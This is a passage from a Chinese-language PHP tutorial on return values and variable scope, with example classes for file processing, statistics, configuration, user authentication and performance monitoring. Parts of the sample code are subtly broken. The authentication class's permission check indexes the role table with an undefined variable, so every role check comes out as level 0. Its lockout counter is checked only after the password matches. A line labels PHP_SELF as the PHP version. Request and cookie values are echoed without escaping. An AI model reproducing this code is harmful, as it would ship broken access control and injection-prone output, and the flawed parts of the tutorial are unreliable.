        $this->validateUserData($userData);

        // 如果验证通过,继续注册流程
        $userId = $this->saveUser($userData);

        return [
            'success' => true,
            'user_id' => $userId,
            'message' => '注册成功'
        ];
    }

    private function validateUserData($userData): void {
        $errors = [];

        if (empty($userData['username'])) {
            $errors[] = '用户名不能为空';
        }

        if (empty($userData['email'])) {
            $errors[] = '邮箱不能为空';
        }

        if (!filter_var($userData['email'], FILTER_VALIDATE_EMAIL)) {
            $errors[] = '邮箱格式不正确';
        }

        if (!empty($errors)) {
            throw new ValidationException($errors);
        }
    }

    private function saveUser($userData): string {
        // 模拟保存用户
        return uniqid('user_');
    }
}

// 使用自定义异常
$registrationService = new UserRegistrationService();

try {
    $result = $registrationService->registerUser([
        'username' => 'testuser',
        'email' => 'invalid-email'
    ]);
    echo $result['message'] . "<br>";
} catch (ValidationException $e) {
    echo $e->getMessage() . "<br>";
    echo "具体错误:<br>";
    foreach ($e->getErrors() as $error) {
        echo "- $error<br>";
    }
}
?>

实际应用示例

文件处理器

<?php
class FileProcessor {
    // 读取文件内容
    public function readFile(string $filePath): array {
        if (!file_exists($filePath)) {
            return [
                'success' => false,
                'message' => '文件不存在',
                'content' => null
            ];
        }

        if (!is_readable($filePath)) {
            return [
                'success' => false,
                'message' => '文件不可读',
                'content' => null
            ];
        }

        $content = file_get_contents($filePath);
        if ($content === false) {
            return [
                'success' => false,
                'message' => '读取文件失败',
                'content' => null
            ];
        }

        return [
            'success' => true,
            'message' => '文件读取成功',
            'content' => $content,
            'size' => filesize($filePath),
            'type' => mime_content_type($filePath)
        ];
    }

    // 写入文件内容
    public function writeFile(string $filePath, string $content): array {
        $directory = dirname($filePath);

        // 检查目录是否存在
        if (!is_dir($directory)) {
            if (!mkdir($directory, 0755, true)) {
                return [
                    'success' => false,
                    'message' => '无法创建目录',
                    'bytes_written' => 0
                ];
            }
        }

        // 写入文件
        $bytesWritten = file_put_contents($filePath, $content);

        if ($bytesWritten === false) {
            return [
                'success' => false,
                'message' => '写入文件失败',
                'bytes_written' => 0
            ];
        }

        return [
            'success' => true,
            'message' => '文件写入成功',
            'bytes_written' => $bytesWritten,
            'file_path' => $filePath
        ];
    }

    // 备份文件
    public function backupFile(string $filePath): array {
        $result = $this->readFile($filePath);

        if (!$result['success']) {
            return $result;
        }

        $backupPath = $filePath . '.backup.' . date('Y-m-d_H-i-s');
        return $this->writeFile($backupPath, $result['content']);
    }
}

// 使用文件处理器
$processor = new FileProcessor();

// 写入测试文件
$writeResult = $processor->writeFile('test/sample.txt', '这是一个测试文件内容');
echo "写入结果:" . ($writeResult['success'] ? '成功' : '失败') . "<br>";
if ($writeResult['success']) {
    echo "写入字节数:" . $writeResult['bytes_written'] . "<br>";
}

// 读取文件
$readResult = $processor->readFile('test/sample.txt');
echo "读取结果:" . ($readResult['success'] ? '成功' : '失败') . "<br>";
if ($readResult['success']) {
    echo "文件内容:" . $readResult['content'] . "<br>";
    echo "文件大小:" . $readResult['size'] . " 字节<br>";
    echo "文件类型:" . $readResult['type'] . "<br>";
}

// 备份文件
$backupResult = $processor->backupFile('test/sample.txt');
echo "备份结果:" . ($backupResult['success'] ? '成功' : '失败') . "<br>";
?>

数据分析器

<?php
class DataAnalyzer {
    // 分析数字数组
    public function analyzeNumbers(array $numbers): array {
        if (empty($numbers)) {
            return [
                'success' => false,
                'message' => '数据为空',
                'statistics' => null
            ];
        }

        // 验证所有元素都是数字
        foreach ($numbers as $number) {
            if (!is_numeric($number)) {
                return [
                    'success' => false,
                    'message' => '数据包含非数字元素',
                    'statistics' => null
                ];
            }
        }

        $numbers = array_map('floatval', $numbers);
        sort($numbers);
        $count = count($numbers);

        $statistics = [
            'count' => $count,
            'sum' => array_sum($numbers),
            'mean' => array_sum($numbers) / $count,
            'min' => min($numbers),
            'max' => max($numbers),
            'median' => $this->calculateMedian($numbers),
            'range' => max($numbers) - min($numbers),
            'variance' => $this->calculateVariance($numbers),
            'standard_deviation' => $this->calculateStandardDeviation($numbers)
        ];

        return [
            'success' => true,
            'message' => '分析完成',
            'statistics' => $statistics
        ];
    }

    // 计算中位数
    private function calculateMedian(array $sortedNumbers): float {
        $count = count($sortedNumbers);
        $middle = floor($count / 2);

        if ($count % 2 === 0) {
            return ($sortedNumbers[$middle - 1] + $sortedNumbers[$middle]) / 2;
        } else {
            return $sortedNumbers[$middle];
        }
    }

    // 计算方差
    private function calculateVariance(array $numbers): float {
        $mean = array_sum($numbers) / count($numbers);
        $squaredDiffs = array_map(function($num) use ($mean) {
            return pow($num - $mean, 2);
        }, $numbers);
        return array_sum($squaredDiffs) / count($numbers);
    }

    // 计算标准差
    private function calculateStandardDeviation(array $numbers): float {
        return sqrt($this->calculateVariance($numbers));
    }

    // 生成分析报告
    public function generateReport(array $numbers): string {
        $analysis = $this->analyzeNumbers($numbers);

        if (!$analysis['success']) {
            return "错误:" . $analysis['message'];
        }

        $stats = $analysis['statistics'];

        $report = "=== 数据分析报告 ===\n";
        $report .= "数据个数:{$stats['count']}\n";
        $report .= "总和:" . number_format($stats['sum'], 2) . "\n";
        $report .= "平均值:" . number_format($stats['mean'], 2) . "\n";
        $report .= "中位数:" . number_format($stats['median'], 2) . "\n";
        $report .= "最小值:" . number_format($stats['min'], 2) . "\n";
        $report .= "最大值:" . number_format($stats['max'], 2) . "\n";
        $report .= "极差:" . number_format($stats['range'], 2) . "\n";
        $report .= "方差:" . number_format($stats['variance'], 2) . "\n";
        $report .= "标准差:" . number_format($stats['standard_deviation'], 2) . "\n";
        $report .= "==================\n";

        return $report;
    }
}

// 使用数据分析器
$analyzer = new DataAnalyzer();

// 测试数据
$testData1 = [10, 20, 30, 40, 50];
$testData2 = [85, 92, 78, 65, 88, 95, 72, 58];
$testData3 = []; // 空数据
$testData4 = [10, 20, 'invalid', 30]; // 包含非数字

// 分析数据
$dataSets = [
    '数据集1' => $testData1,
    '数据集2' => $testData2,
    '空数据' => $testData3,
    '无效数据' => $testData4
];

foreach ($dataSets as $name => $data) {
    echo "<h4>$name</h4>";
    if (!empty($data)) {
        echo "数据:" . implode(', ', $data) . "<br>";
    }

    $result = $analyzer->analyzeNumbers($data);
    if ($result['success']) {
        $stats = $result['statistics'];
        echo "分析结果:<br>";
        echo "- 平均值:" . number_format($stats['mean'], 2) . "<br>";
        echo "- 标准差:" . number_format($stats['standard_deviation'], 2) . "<br>";
        echo "- 中位数:" . number_format($stats['median'], 2) . "<br>";
    } else {
        echo "错误:" . $result['message'] . "<br>";
    }
    echo "<br>";
}

// 生成完整报告
echo "<h4>完整分析报告</h4>";
echo "<pre>" . nl2br($analyzer->generateReport($testData2)) . "</pre>";
?>

最佳实践

1. 明确的返回值类型

<?php
// 好的做法:明确的返回值类型声明
function calculateDiscount(float $price, float $percentage): float {
    if ($percentage < 0 || $percentage > 100) {
        throw new InvalidArgumentException('折扣百分比必须在0-100之间');
    }
    return $price * (1 - $percentage / 100);
}

// 不好的做法:不明确的返回值
function calculateDiscountBad($price, $percentage) {
    // 可能返回整数、浮点数、字符串或null
    if ($price < 0) {
        return "价格不能为负数";
    }
    return $price * (1 - $percentage / 100);
}
?>

2. 一致的返回值格式

<?php
// 好的做法:一致的返回值格式
function apiResponse($data, string $message = '', bool $success = true): array {
    return [
        'success' => $success,
        'message' => $message,
        'data' => $data,
        'timestamp' => date('Y-m-d H:i:s')
    ];
}

// 使用一致的返回格式
function getUserData($userId): array {
    $user = findUserInDatabase($userId);
    if ($user) {
        return apiResponse($user, '获取用户数据成功');
    } else {
        return apiResponse(null, '用户不存在', false);
    }
}
?>

3. 避免混合返回类型

<?php
// 不好的做法:混合返回类型
function findUser($id) {
    if ($id == 1) {
        return ['name' => '张三'];  // 返回数组
    } elseif ($id == 2) {
        return "李四";              // 返回字符串
    } else {
        return false;               // 返回布尔值
    }
}

// 好的做法:统一的返回类型
function findUserFixed($id): ?array {
    $users = [
        1 => ['name' => '张三'],
        2 => ['name' => '李四']
    ];
    return $users[$id] ?? null;
}
?>

4. 使用适当的错误处理

<?php
// 对于可以预期的情况,返回错误信息
function validateEmail(string $email): array {
    if (empty($email)) {
        return ['valid' => false, 'error' => '邮箱不能为空'];
    }

    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        return ['valid' => false, 'error' => '邮箱格式不正确'];
    }

    return ['valid' => true, 'error' => null];
}

// 对于意外情况,抛出异常
function connectToDatabase(string $host, string $username, string $password): PDO {
    try {
        return new PDO("mysql:host=$host", $username, $password);
    } catch (PDOException $e) {
        throw new RuntimeException("数据库连接失败: " . $e->getMessage());
    }
}
?>

常见错误和解决方案

1. 忘记返回值

<?php
// 错误:忘记返回值
function calculateTax($amount) {
    $tax = $amount * 0.1;
    // 忘记return $tax;
}

// 解决方案:确保有返回语句
function calculateTaxFixed($amount) {
    $tax = $amount * 0.1;
    return $tax;  // 添加return语句
}
?>

2. 返回值类型不匹配

<?php
// 声明返回字符串,但可能返回null
function getUserName(int $userId): string {
    $users = [1 => '张三'];
    return $users[$userId] ?? null;  // 可能返回null,违反类型声明
}

// 解决方案1:使用可空类型
function getUserNameFixed1(int $userId): ?string {
    $users = [1 => '张三'];
    return $users[$userId] ?? null;
}

// 解决方案2:提供默认值
function getUserNameFixed2(int $userId): string {
    $users = [1 => '张三'];
    return $users[$userId] ?? '未知用户';
}
?>

3. 过度使用返回值

<?php
// 不好的做法:函数做多件事还返回复杂结构
function processAndSaveAndNotify($data): array {
    // 处理数据
    $processed = processData($data);

    // 保存数据
    $saved = saveData($processed);

    // 发送通知
    $notified = sendNotification($saved);

    return [
        'processed' => $processed,
        'saved' => $saved,
        'notified' => $notified
    ];
}

// 好的做法:函数职责单一
function processData($data): array {
    // 只处理数据
    return $data;
}

function saveData($data): bool {
    // 只保存数据
    return true;
}

function sendNotification($data): bool {
    // 只发送通知
    return true;
}
?>

练习题

基础练习

  1. 简单计算函数

    <?php
    // 创建计算函数,返回不同运算的结果
    function calculate($a, $b, $operation) {
        // 返回运算结果
    }
    
    echo calculate(10, 5, '+');  // 应该输出:15
    echo calculate(10, 5, '-');  // 应该输出:5
    echo calculate(10, 5, '*');  // 应该输出:50
    ?>
    
  2. 数组处理函数

    <?php
    // 创建函数处理数组,返回统计信息
    function analyzeArray($numbers) {
        // 返回包含最大值、最小值、平均值、和的数组
    }
    
    $stats = analyzeArray([1, 5, 3, 9, 2]);
    print_r($stats);
    ?>
    
  3. 字符串验证函数

    <?php
    // 创建邮箱验证函数,返回验证结果和错误信息
    function validateEmail($email) {
        // 返回 ['valid' => bool, 'message' => string]
    }
    
    $result = validateEmail('test@example.com');
    print_r($result);
    ?>
    

进阶练习

  1. 用户认证系统

    <?php
    // 创建用户认证函数,包含登录验证和权限检查
    function authenticateUser($username, $password) {
        // 返回包含success、user_info、token、permissions的数组
    }
    
    $result = authenticateUser('admin', 'password123');
    print_r($result);
    ?>
    
  2. 文件操作类

    <?php
    class FileManager {
        public function readFile($filePath) {
            // 返回包含success、content、size、error的数组
        }
    
        public function writeFile($filePath, $content) {
            // 返回包含success、bytes_written、error的数组
        }
    }
    
    // 测试文件管理器
    ?>
    

实战练习

  1. 电商价格计算器

    <?php
    // 创建完整的电商价格计算器
    function calculateProductPrice($basePrice, $quantity, $discount = 0, $tax = 0.08) {
        // 返回详细的价格信息数组
    }
    
    $priceInfo = calculateProductPrice(100, 3, 10, 0.08);
    print_r($priceInfo);
    ?>
    
  2. 数据验证器

    <?php
    class DataValidator {
        public function validateUserData($userData) {
            // 验证用户数据,返回验证结果
        }
    
        public function validateProductData($productData) {
            // 验证商品数据,返回验证结果
        }
    }
    
    // 创建完整的数据验证系统
    ?>
    

总结

返回值是函数与外部世界沟通的重要桥梁。通过本章的学习,你应该能够:

  1. 理解return语句的作用和用法
  2. 掌握不同类型的返回值处理
  3. 使用返回值类型声明提高代码质量
  4. 实现多返回值的各种技巧
  5. 应用早期返回模式优化代码结构
  6. 选择合适的错误处理方式
  7. 在实际项目中遵循最佳实践

记住,好的返回值设计可以让函数更容易使用、测试和维护。在实际开发中,要始终考虑返回值的一致性、明确性和易用性。

下一章我们将学习变量作用域,了解函数内外变量的关系和访问规则。

变量作用域

变量作用域决定了在程序的哪些地方可以访问到特定的变量。理解作用域对于编写正确、安全的函数至关重要。

什么是变量作用域?

变量作用域是指变量在代码中可被访问的范围。PHP中有几种主要的作用域:

  1. 局部作用域(Local Scope):函数内部
  2. 全局作用域(Global Scope):函数外部
  3. 静态作用域(Static Scope):函数内部但保持值的持久性
  4. 超全局作用域(Superglobal Scope):特殊的全局变量

局部作用域

在函数内部声明的变量具有局部作用域,只能在函数内部访问。

基本局部变量

<?php
function testFunction() {
    $localVariable = "这是一个局部变量";
    echo "函数内部:$localVariable<br>";
}

testFunction();

// 错误:无法在函数外部访问局部变量
// echo $localVariable;  // 会报错:Undefined variable
?>

局部变量的隔离性

<?php
// 函数1中的局部变量
function function1() {
    $name = "张三";
    echo "函数1中的姓名:$name<br>";
}

// 函数2中的局部变量
function function2() {
    $name = "李四";  // 这是一个完全不同的变量
    echo "函数2中的姓名:$name<br>";
}

// 全局变量
$name = "王五";

function function3() {
    $name = "赵六";  // 这也是局部变量,与全局变量无关
    echo "函数3中的姓名:$name<br>";
}

function1();  // 输出:张三
function2();  // 输出:李四
function3();  // 输出:赵六

echo "全局变量中的姓名:$name<br>";  // 输出:王五
?>

局部变量的生命周期

<?php
function counter() {
    $count = 0;  // 每次调用都会重新创建
    $count++;
    echo "计数器的值:$count<br>";
}

echo "第一次调用:<br>";
counter();  // 输出:1

echo "第二次调用:<br>";
counter();  // 输出:1(重新开始,因为$count是局部变量)

echo "第三次调用:<br>";
counter();  // 输出:1
?>

全局作用域

在函数外部声明的变量具有全局作用域,可以在脚本的任何地方访问(除了函数内部)。

全局变量示例

<?php
$globalVariable = "这是一个全局变量";

function showGlobalVariable() {
    // 错误:不能直接在函数内部访问全局变量
    // echo $globalVariable;
}

// 正确:在函数外部可以访问
echo "函数外部:$globalVariable<br>";
?>

使用 global 关键字

要在函数内部访问全局变量,需要使用 global 关键字。

<?php
$globalCounter = 0;

function incrementCounter() {
    global $globalCounter;  // 声明要使用全局变量
    $globalCounter++;
    echo "计数器值:$globalCounter<br>";
}

function resetCounter() {
    global $globalCounter;
    $globalCounter = 0;
    echo "计数器已重置<br>";
}

echo "初始值:$globalCounter<br>";

incrementCounter();  // 输出:1
incrementCounter();  // 输出:2

echo "当前值:$globalCounter<br>";

resetCounter();
echo "重置后:$globalCounter<br>";
?>

使用 $GLOBALS 数组

PHP还提供了 $GLOBALS 超全局数组来访问全局变量。

<?php
$config = [
    'database_host' => 'localhost',
    'database_name' => 'myapp',
    'debug_mode' => true
];

function showConfig() {
    // 使用$GLOBALS访问全局变量
    echo "数据库主机:" . $GLOBALS['config']['database_host'] . "<br>";
    echo "数据库名称:" . $GLOBALS['config']['database_name'] . "<br>";
}

function toggleDebugMode() {
    // 修改全局变量
    $GLOBALS['config']['debug_mode'] = !$GLOBALS['config']['debug_mode'];
    echo "调试模式已" . ($GLOBALS['config']['debug_mode'] ? "开启" : "关闭") . "<br>";
}

showConfig();
echo "当前调试模式:" . ($config['debug_mode'] ? "开启" : "关闭") . "<br>";

toggleDebugMode();
echo "切换后调试模式:" . ($config['debug_mode'] ? "开启" : "关闭") . "<br>";
?>

global vs $GLOBALS 的区别

<?php
$var1 = "原始值1";
$var2 = "原始值2";

function testGlobal() {
    global $var1;        // 引用全局变量
    $var1 = "修改值1";   // 修改的是全局变量
}

function testGlobals() {
    $GLOBALS['var2'] = "修改值2";  // 直接修改全局变量
}

echo "修改前:<br>";
echo "var1: $var1<br>";
echo "var2: $var2<br>";

testGlobal();
testGlobals();

echo "修改后:<br>";
echo "var1: $var1<br>";
echo "var2: $var2<br>";
?>

静态作用域

静态变量在函数调用之间保持其值,但只能在函数内部访问。

基本静态变量

<?php
function staticCounter() {
    static $counter = 0;  // 静态变量,只初始化一次
    $counter++;
    echo "静态计数器值:$counter<br>";
}

function normalCounter() {
    $counter = 0;  // 普通局部变量,每次调用都重新初始化
    $counter++;
    echo "普通计数器值:$counter<br>";
}

echo "静态计数器测试:<br>";
staticCounter();  // 输出:1
staticCounter();  // 输出:2
staticCounter();  // 输出:3

echo "<br>普通计数器测试:<br>";
normalCounter();  // 输出:1
normalCounter();  // 输出:1
normalCounter();  // 输出:1
?>

静态变量的实际应用

<?php
// 数据库连接池示例
function getDatabaseConnection() {
    static $connection = null;  // 静态变量保持连接

    if ($connection === null) {
        echo "创建新的数据库连接...<br>";
        // 模拟创建数据库连接
        $connection = [
            'host' => 'localhost',
            'database' => 'myapp',
            'connection_id' => uniqid('conn_'),
            'created_at' => date('Y-m-d H:i:s')
        ];
    } else {
        echo "使用现有的数据库连接...<br>";
    }

    return $connection;
}

function closeDatabaseConnection() {
    static $connection = null;  // 这是不同的静态变量
    // 注意:这个函数无法访问 getDatabaseConnection 中的静态变量
    echo "关闭数据库连接功能需要单独实现<br>";
}

// 多次调用连接函数
echo "第一次连接请求:<br>";
$conn1 = getDatabaseConnection();
echo "连接ID:" . $conn1['connection_id'] . "<br>";

echo "<br>第二次连接请求:<br>";
$conn2 = getDatabaseConnection();
echo "连接ID:" . $conn2['connection_id'] . "<br>";

echo "<br>第三次连接请求:<br>";
$conn3 = getDatabaseConnection();
echo "连接ID:" . $conn3['connection_id'] . "<br>";

echo "可以看到三次都使用了同一个连接<br>";
?>

静态变量的高级用法

<?php
// 缓存函数结果
function expensiveCalculation($input) {
    static $cache = [];  // 静态缓存数组

    // 检查缓存中是否已有结果
    if (isset($cache[$input])) {
        echo "从缓存获取结果...<br>";
        return $cache[$input];
    }

    echo "执行复杂计算...<br>";
    // 模拟复杂计算
    $result = $input * $input + sqrt($input);

    // 存入缓存
    $cache[$input] = $result;

    return $result;
}

// 测试缓存效果
echo "计算 5:<br>";
$result1 = expensiveCalculation(5);
echo "结果:$result1<br>";

echo "<br>再次计算 5:<br>";
$result2 = expensiveCalculation(5);
echo "结果:$result2<br>";

echo "<br>计算 10:<br>";
$result3 = expensiveCalculation(10);
echo "结果:$result3<br>";

echo "<br>再次计算 10:<br>";
$result4 = expensiveCalculation(10);
echo "结果:$result4<br>";
?>

超全局变量

PHP提供了一些特殊的超全局变量,它们在任何作用域中都可以访问。

常见的超全局变量

<?php
function showSuperglobals() {
    echo "=== 超全局变量示例 ===<br>";

    // $_GET - GET请求参数
    echo "\$_GET 示例:<br>";
    if (isset($_GET['name'])) {
        echo "GET参数name:{$_GET['name']}<br>";
    } else {
        echo "没有GET参数<br>";
    }

    // $_POST - POST请求参数
    echo "\$_POST 示例:<br>";
    if (isset($_POST['email'])) {
        echo "POST参数email:{$_POST['email']}<br>";
    } else {
        echo "没有POST参数<br>";
    }

    // $_SERVER - 服务器和环境信息
    echo "\$_SERVER 示例:<br>";
    echo "PHP版本:" . $_SERVER['PHP_SELF'] . "<br>";
    echo "服务器软件:" . $_SERVER['SERVER_SOFTWARE'] . "<br>";
    echo "请求时间:" . date('Y-m-d H:i:s', $_SERVER['REQUEST_TIME']) . "<br>";

    // $_ENV - 环境变量
    echo "\$_ENV 示例:<br>";
    echo "操作系统:" . ($_ENV['OS'] ?? '未知') . "<br>";

    // $_COOKIE - Cookie数据
    echo "\$_COOKIE 示例:<br>";
    if (!empty($_COOKIE)) {
        foreach ($_COOKIE as $name => $value) {
            echo "Cookie $name: $value<br>";
        }
    } else {
        echo "没有Cookie数据<br>";
    }

    // $_SESSION - Session数据(需要先启动session)
    echo "\$_SESSION 示例:<br>";
    if (session_status() == PHP_SESSION_NONE) {
        session_start();
    }
    $_SESSION['last_visit'] = date('Y-m-d H:i:s');
    echo "最后访问时间:" . $_SESSION['last_visit'] . "<br>";

    // $_FILES - 上传文件信息
    echo "\$_FILES 示例:<br>";
    if (!empty($_FILES)) {
        foreach ($_FILES as $fieldName => $fileInfo) {
            echo "上传文件 $fieldName: {$fileInfo['name']}<br>";
        }
    } else {
        echo "没有上传文件<br>";
    }

    // $GLOBALS - 所有全局变量的引用
    echo "\$GLOBALS 示例:<br>";
    echo "全局变量数量:" . count($GLOBALS) . "<br>";
}

// 测试超全局变量
showSuperglobals();
?>

实际应用示例

配置管理器

<?php
class ConfigManager {
    // 全局配置数组
    private static $globalConfig = [
        'database' => [
            'host' => 'localhost',
            'port' => 3306,
            'charset' => 'utf8mb4'
        ],
        'app' => [
            'name' => 'MyApp',
            'version' => '1.0.0',
            'debug' => false
        ]
    ];

    // 获取配置
    public static function get($key, $default = null) {
        $keys = explode('.', $key);
        $config = self::$globalConfig;

        foreach ($keys as $k) {
            if (!isset($config[$k])) {
                return $default;
            }
            $config = $config[$k];
        }

        return $config;
    }

    // 设置配置
    public static function set($key, $value) {
        $keys = explode('.', $key);
        $config = &self::$globalConfig;

        for ($i = 0; $i < count($keys) - 1; $i++) {
            if (!isset($config[$keys[$i]])) {
                $config[$keys[$i]] = [];
            }
            $config = &$config[$keys[$i]];
        }

        $config[$keys[count($keys) - 1]] = $value;
        return true;
    }
}

// 数据库连接函数使用全局配置
function connectToDatabase() {
    $host = ConfigManager::get('database.host', 'localhost');
    $port = ConfigManager::get('database.port', 3306);
    $charset = ConfigManager::get('database.charset', 'utf8mb4');

    echo "连接数据库:$host:$port (字符集: $charset)<br>";

    // 模拟返回连接对象
    return [
        'host' => $host,
        'port' => $port,
        'charset' => $charset,
        'connection_id' => uniqid('db_')
    ];
}

// 应用初始化函数
function initializeApp() {
    $appName = ConfigManager::get('app.name', 'Unknown App');
    $version = ConfigManager::get('app.version', '0.0.0');
    $debug = ConfigManager::get('app.debug', false);

    echo "启动应用:$appName v$version<br>";
    echo "调试模式:" . ($debug ? '开启' : '关闭') . "<br>";

    if ($debug) {
        echo "警告:调试模式在生产环境中应关闭!<br>";
    }

    return true;
}

// 使用配置管理器
echo "=== 配置管理器示例 ===<br>";

// 初始化应用
initializeApp();

// 连接数据库
$dbConnection = connectToDatabase();
echo "数据库连接ID:" . $dbConnection['connection_id'] . "<br>";

// 动态修改配置
ConfigManager::set('app.debug', true);
echo "<br>修改调试模式后重新初始化:<br>";
initializeApp();
?>

用户认证系统

<?php
// 用户认证系统
class AuthSystem {
    // 使用静态变量模拟用户会话
    private static $currentUser = null;
    private static $loginAttempts = 0;
    private static $maxLoginAttempts = 3;

    // 用户登录
    public static function login($username, $password) {
        // 模拟用户数据库
        $users = [
            'admin' => ['password' => 'admin123', 'role' => 'admin'],
            'user' => ['password' => 'user123', 'role' => 'user'],
            'guest' => ['password' => 'guest123', 'role' => 'guest']
        ];

        if (!isset($users[$username])) {
            self::$loginAttempts++;
            return ['success' => false, 'message' => '用户名不存在'];
        }

        if ($users[$username]['password'] !== $password) {
            self::$loginAttempts++;
            return ['success' => false, 'message' => '密码错误'];
        }

        if (self::$loginAttempts >= self::$maxLoginAttempts) {
            return ['success' => false, 'message' => '登录尝试次数过多,请稍后再试'];
        }

        // 登录成功
        self::$currentUser = [
            'username' => $username,
            'role' => $users[$username]['role'],
            'login_time' => date('Y-m-d H:i:s'),
            'session_id' => uniqid('sess_')
        ];

        self::$loginAttempts = 0;  // 重置登录尝试次数

        return ['success' => true, 'user' => self::$currentUser];
    }

    // 用户登出
    public static function logout() {
        if (self::$currentUser !== null) {
            $username = self::$currentUser['username'];
            self::$currentUser = null;
            return ['success' => true, 'message' => "用户 $username 已登出"];
        }
        return ['success' => false, 'message' => '没有用户登录'];
    }

    // 获取当前用户
    public static function getCurrentUser() {
        return self::$currentUser;
    }

    // 检查是否已登录
    public static function isLoggedIn() {
        return self::$currentUser !== null;
    }

    // 检查用户权限
    public static function hasPermission($requiredRole) {
        if (!self::isLoggedIn()) {
            return false;
        }

        $roleHierarchy = [
            'guest' => 0,
            'user' => 1,
            'admin' => 2
        ];

        $userRole = self::$currentUser['role'];
        $userLevel = $roleHierarchy[$userLevel] ?? 0;
        $requiredLevel = $roleHierarchy[$requiredRole] ?? 0;

        return $userLevel >= $requiredLevel;
    }

    // 获取登录状态信息
    public static function getAuthStatus() {
        return [
            'is_logged_in' => self::isLoggedIn(),
            'current_user' => self::$currentUser,
            'login_attempts' => self::$loginAttempts,
            'max_attempts' => self::$maxLoginAttempts
        ];
    }
}

// 权限检查函数
function requireLogin() {
    if (!AuthSystem::isLoggedIn()) {
        echo "错误:需要登录才能访问此功能<br>";
        return false;
    }
    return true;
}

function requireRole($role) {
    if (!requireLogin()) {
        return false;
    }

    if (!AuthSystem::hasPermission($role)) {
        echo "错误:需要 $role 权限才能访问此功能<br>";
        return false;
    }
    return true;
}

// 示例:管理面板
function adminPanel() {
    if (!requireRole('admin')) {
        return;
    }

    $user = AuthSystem::getCurrentUser();
    echo "欢迎访问管理面板,{$user['username']}!<br>";
    echo "登录时间:{$user['login_time']}<br>";
    echo "会话ID:{$user['session_id']}<br>";
}

// 示例:用户面板
function userPanel() {
    if (!requireRole('user')) {
        return;
    }

    $user = AuthSystem::getCurrentUser();
    echo "欢迎访问用户面板,{$user['username']}!<br>";
    echo "您的角色:{$user['role']}<br>";
}

// 测试认证系统
echo "=== 用户认证系统示例 ===<br>";

// 测试登录
echo "<br>尝试登录:<br>";
$loginResult = AuthSystem::login('admin', 'admin123');
if ($loginResult['success']) {
    echo "登录成功!用户:{$loginResult['user']['username']}<br>";
} else {
    echo "登录失败:" . $loginResult['message'] . "<br>";
}

// 访问用户面板
echo "<br>访问用户面板:<br>";
userPanel();

// 访问管理面板
echo "<br>访问管理面板:<br>";
adminPanel();

// 测试权限
echo "<br>权限测试:<br>";
echo "是否有guest权限:" . (AuthSystem::hasPermission('guest') ? '是' : '否') . "<br>";
echo "是否有user权限:" . (AuthSystem::hasPermission('user') ? '是' : '否') . "<br>";
echo "是否有admin权限:" . (AuthSystem::hasPermission('admin') ? '是' : '否') . "<br>";

// 登出
echo "<br>用户登出:<br>";
$logoutResult = AuthSystem::logout();
echo $logoutResult['message'] . "<br>";

// 再次尝试访问面板
echo "<br>登出后访问用户面板:<br>";
userPanel();
?>

函数调用计数器

<?php
// 函数调用计数器和性能监控
function expensiveOperation($input) {
    // 静态变量用于统计
    static $callCount = 0;
    static $totalTime = 0;
    static $inputHistory = [];

    $startTime = microtime(true);

    // 执行实际操作
    $result = performCalculation($input);

    $endTime = microtime(true);
    $executionTime = ($endTime - $startTime) * 1000; // 转换为毫秒

    // 更新统计信息
    $callCount++;
    $totalTime += $executionTime;
    $inputHistory[] = [
        'input' => $input,
        'time' => $executionTime,
        'timestamp' => date('Y-m-d H:i:s')
    ];

    // 保持最近10次的历史记录
    if (count($inputHistory) > 10) {
        array_shift($inputHistory);
    }

    // 输出统计信息
    echo "第 $callCount 次调用,执行时间:" . number_format($executionTime, 4) . "ms<br>";

    return $result;
}

function performCalculation($input) {
    // 模拟复杂计算
    usleep(rand(10000, 100000)); // 随机延迟10-100毫秒
    return $input * $input + sqrt(abs($input));
}

// 获取性能统计
function getPerformanceStats() {
    // 这里我们无法直接访问 expensiveOperation 中的静态变量
    // 这是一个限制:静态变量只能在声明它们的函数中访问
    echo "注意:静态变量只能在其声明的函数内部访问<br>";
    echo "要获取性能统计,需要在函数内部提供专门的访问方法<br>";
}

// 性能监控类(更好的解决方案)
class PerformanceMonitor {
    private static $stats = [
        'function_calls' => [],
        'total_calls' => 0
    ];

    public static function trackCall($functionName, $input, $result, $executionTime) {
        if (!isset(self::$stats['function_calls'][$functionName])) {
            self::$stats['function_calls'][$functionName] = [
                'count' => 0,
                'total_time' => 0,
                'avg_time' => 0,
                'min_time' => PHP_FLOAT_MAX,
                'max_time' => 0,
                'recent_calls' => []
            ];
        }

        $funcStats = &self::$stats['function_calls'][$functionName];
        $funcStats['count']++;
        $funcStats['total_time'] += $executionTime;
        $funcStats['avg_time'] = $funcStats['total_time'] / $funcStats['count'];
        $funcStats['min_time'] = min($funcStats['min_time'], $executionTime);
        $funcStats['max_time'] = max($funcStats['max_time'], $executionTime);

        $funcStats['recent_calls'][] = [
            'input' => $input,
            'result' => $result,
            'time' => $executionTime,
            'timestamp' => date('Y-m-d H:i:s')
        ];

        // 保持最近5次调用
        if (count($funcStats['recent_calls']) > 5) {
            array_shift($funcStats['recent_calls']);
        }

        self::$stats['total_calls']++;
    }

    public static function getStats($functionName = null) {
        if ($functionName) {
            return self::$stats['function_calls'][$functionName] ?? null;
        }
        return self::$stats;
    }

    public static function printReport() {
        echo "=== 性能统计报告 ===<br>";
        echo "总函数调用次数:" . self::$stats['total_calls'] . "<br>";
        echo "<br>";

        foreach (self::$stats['function_calls'] as $funcName => $stats) {
            echo "函数:$funcName<br>";
            echo "- 调用次数:" . $stats['count'] . "<br>";
            echo "- 平均执行时间:" . number_format($stats['avg_time'] * 1000, 4) . "ms<br>";
            echo "- 最短执行时间:" . number_format($stats['min_time'] * 1000, 4) . "ms<br>";
            echo "- 最长执行时间:" . number_format($stats['max_time'] * 1000, 4) . "ms<br>";
            echo "<br>";
        }
    }
}

// 带性能监控的函数
function monitoredExpensiveOperation($input) {
    $startTime = microtime(true);

    // 执行实际操作
    $result = performCalculation($input);

    $endTime = microtime(true);
    $executionTime = $endTime - $startTime;

    // 记录性能数据
    PerformanceMonitor::trackCall('monitoredExpensiveOperation', $input, $result, $executionTime);

    return $result;
}

// 测试性能监控
echo "=== 性能监控示例 ===<br>";

// 执行多次调用
for ($i = 1; $i <= 5; $i++) {
    echo "第 $i 次调用:";
    $result = monitoredExpensiveOperation($i * 10);
    echo "结果:" . number_format($result, 2) . "<br>";
}

// 显示性能报告
PerformanceMonitor::printReport();
?>

最佳实践

1. 避免过度使用全局变量

<?php
// 不好的做法:大量使用全局变量
$database_host = 'localhost';
$database_name = 'myapp';
$database_user = 'admin';
$database_pass = 'password';

function connectDB() {
